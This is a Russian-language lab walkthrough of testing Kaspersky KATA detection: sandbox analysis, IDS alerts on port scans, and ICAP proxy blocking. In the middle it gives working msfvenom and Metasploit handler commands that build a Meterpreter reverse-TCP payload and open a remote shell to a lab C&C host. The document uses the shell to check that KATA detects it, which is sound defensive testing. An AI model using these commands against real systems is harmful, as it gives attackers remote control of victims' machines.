KATA
Защита периметра. Тестирование

Пройдя по пути простого копирования, они теперь располагаются на клиентском ПК в папке ВПО на диске D.

Давайте заглянем в обнаружения в KATA:

Далее идут результаты проверки. В данном случае объектом был архив, и каждый потенциально опасный файл в архиве был исследован.

Любой объект, проверенный в песочнице, можно исследовать детальнее, перейдя по кнопке «Sandbox-обнаружение»:

Тут можно посмотреть, в каких операционных системах и как себя ведет объект:

• Список активностей. Что происходило после запуска объекта;
• Дерево активностей. Визуализированный в виде графа список активностей, показывающий действия, которые привели к результату анализа;
• Журнал HTTP-активности. Сетевые обращения;
• Журнал действий IDS. Сработки IDS в виртуальной среде.

Стоит отметить, что существует 2 режима проверки в песочнице: ведение полного журнала и быстрая.

• В режиме ведения полного журнала объект в виртуальной среде выполняется в реальном времени, что позволяет получить более детальные сведения.
• В режиме быстрого сканирования собирается меньше деталей, но наблюдение производится в 10 раз дольше. На реальное время проверки это не сказывается, так как применяются специальные технологии.

Перейдем к проверке IDS во втором сценарии. Попробуем просканировать порты нашего хоста. Я использую утилиту nmap со своей клиентской рабочей станции. В Windows она имеет графический интерфейс.

Просто вводим IP адрес и нажимаем Scan:

В интерфейсе KATA в разделе «Обнаружения» мы сразу же получаем набор алертов:

Но давайте попробуем сымитировать что-то поинтереснее.

Представим, что злоумышленник послал вредоносный исполняемый файл, и он проник на хост сети. Вредоносный файл сам по себе ничего вредоносного не делает. Его задача — связаться с сервером управления и предоставить удаленный доступ к хосту злоумышленникам. Такой вид подключения называется Reverse Shell.

Для организации такого мы использовали фреймворк Metasploit. Этот фреймворк установлен на том же сервере, что и наш веб-прокси Squid с ip 10.10.30.59 для простоты лабораторного стенда.

Сначала нам необходимо создать вредоносную программу, которая будет запускаться на хосте. В этом нам поможет утилита msfvenom. Запустим её со следующими параметрами:

msfvenom -p windows/meterpreter/reverse_tcp -f exe -o /home/tssol/payload.exe lhost=10.10.30.59 lport=3300

Ключ -p задает тип полезной нагрузки. В данном случае мы используем reverse_tcp для windows. Ключ -f задает расширение файла, ключ -o задает путь и имя выходного файла. lhost и lport — параметры подключения к серверу C&C.

После создания файла мы можем переместить его на наш «атакуемый» хост.

Разместим его в уже использованную нами ранее папку «public folder»:

Теперь запустим наш сервер C&C.

На сервере с установленным пакетом Metasploit перейдем в msfconsole и запустим следующие команды:

• use /exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set lhost 10.10.30.59
• set lport 3300
• exploit

В консоли мы увидим следующее:

Теперь запустим файл payload. exe на хосте. При этом внешне ничего не произойдет.

Но можно проверить, запустилась ли программа, открыв диспетчер задач и найдя в процессах следующее:

На сервере мы увидим новое подключение от 10.10.30.48 и приглашение в командную строку.

Введем команду dir для получения списка файлов в папке:

Таким образом мы с вами получили удаленное управление.

Теперь проверим, появилось ли обнаружение в KATA.

Да, появилось новое обнаружение.

Интересный момент, который следует отметить. В рамках тестов было сделано 2 подключения через playload. exe к командному серверу в разное время. Но обнаружение мы видим одно. Для одного правила обнаружения атаки создается одна карточка обнаружения за 24 часа после первого события такого типа. Если же обнаружение было обработано и закрыто, но появилось новое похожее событие в течение 24 часов, то обнаружение вернется в статус «В обработке».

Перейдем к самой карточке обнаружения для просмотра детальных данных по обнаружению.

Здесь мы можем увидеть состояние, важность, источник данных, время создания и время обновления (время последнего события в рамках обнаружения). А также можем видеть данные по сработавшему IDS-правилу.

Ниже располагается список событий, попавших под правило. Здесь как раз видно, что подключение осуществлялось дважды (сначала в 14:56 и потом в 16:01).

Дополнительно вы можете вести журнал изменений по обнаружению и скопировать данные обнаружения при необходимости изучения их с поддержкой или аналитиками вендора.

Справа мы можем увидеть список рекомендаций: найти обнаружения, связанные с ip адресом, добавить правило в исключения, найти похожие события по IP адресу (работает в связке с KEDR). А также скачать json с первым артефактом IDS и скачать pcap-файл для исследования, например, в Wireshark.

Для тестирования ICAP мы указали на клиентском ПК в настройке-прокси сервера адрес сервера со службой Squid.

Рассмотрим 3 режима:

1. Режим мониторинга. Проверка того, что вредоносные файлы успешно скачиваются и обнаруживаются в KATA;
2. Режим стандартной проверки. Проверим, как происходит блокировка вредоносного файла в реальном времени при работе потокового антивируса;
3. Режим расширенной проверки. Посмотрим страницы-заглушки и убедимся, что файл ожидает вердикта песочницы.

Воспользуемся порталом Tekdefense и начнем с режима мониторинга.

Мы загрузили 3 файла. Все они определяются стандартными антивирусными механизмами и все они скачались на клиентский ПК.

Перейдем в интерфейс специалиста ИБ в KATA.

Все 3 файла были сразу определены. Как выглядит карточка обнаружения, мы снова рассматривать не будем. Обнаружение будет идентично тому, которое генерировалось при SPAN, но в данном случае в качестве источника будет указан ICAP.

Перейдем ко второму сценарию. Переключим режим проверки в реальном времени на стандартную.

И снова качаем вредоносные файлы.

На первом же файле после нам открывается страница с надписью «файл заблокирован»:

Перейдем к режиму 3.

Попробуем снова скачать файл с tekdefense.

При нажатии на ссылку для скачивания нас перекинет на страницу проверки:

На данном этапе файл проверяется в песочнице, и до тех пор, пока он не будет проверен, ссылка «Download link…» не даст вам его скачать. Шаблоны всех страниц-заглушек можно изменять в параметрах KATA.

Вновь нажимаем на «Download link…» через пару минут и нас перекидывает на страницу блокировки: